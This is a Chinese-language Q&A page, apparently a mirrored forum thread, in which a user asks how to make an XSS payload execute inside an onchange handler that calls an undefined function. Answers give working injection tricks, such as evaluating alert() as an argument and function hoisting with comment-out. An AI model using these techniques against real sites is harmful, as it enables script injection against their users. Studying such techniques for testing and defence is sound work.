Javascript 错误正在阻止我的 XSS 负载执行

问题描述 投票:0回答:2

XSS 向量位于

*
,但未声明“com.test.admin.web.widgets.functionTest()”,因此我的有效载荷未被执行。

我只能从

*

改剧本

以下是漏洞代码实例:

<select  name="sub_subissues" id="_subsubissues" onchange="com.test.admin.web.widgets.functionTest(*)" style="height:30px;">

由于“com”、“test”、“admin”、“web”、“widgets”和“functionTest”未在页面中定义,因此有效负载未执行,因为

onchange
属性未执行。 字符
<>&"'
不能使用,因为它们被编码了。

所以我试过:-

导致:-

<select  name="sub_subissues" id="_subsubissues" onchange="com.test.admin.web.widgets.functionTest();var com = alert()" style="height:30px;">

但它仍然要求其余未定义的,我想不出任何其他方式来定义它们或忽略它们。

我如何修改我的负载以利用 XSS?

我希望这段代码执行一个 alert(),代码更改自

*
:

<select  name="sub_subissues" id="_subsubissues" onchange="com.test.admin.web.widgets.functionTest(*)" style="height:30px;">
javascript xss
2个回答
0
投票

在参数中调用

alert()
。在尝试调用函数之前评估函数参数,因此即使函数不存在也会执行警报。

onchange="com.test.admin.web.widgets.functionTest(alert())"

0
投票

您可以使用函数提升,但它只适用于 1 个段,即

<select onchange="qwe(/* * */);function qwe(){};alert() // )">
// this one doesn't work
// qwe.asd();function qwe(){};qwe.asd = function(){};alert()//)

如果您有多个注入点(或其存储的 xss),您可以先尝试在一个属性中注入定义并在另一个属性中执行它。

© www.soinside.com 2019 - 2024. All rights reserved.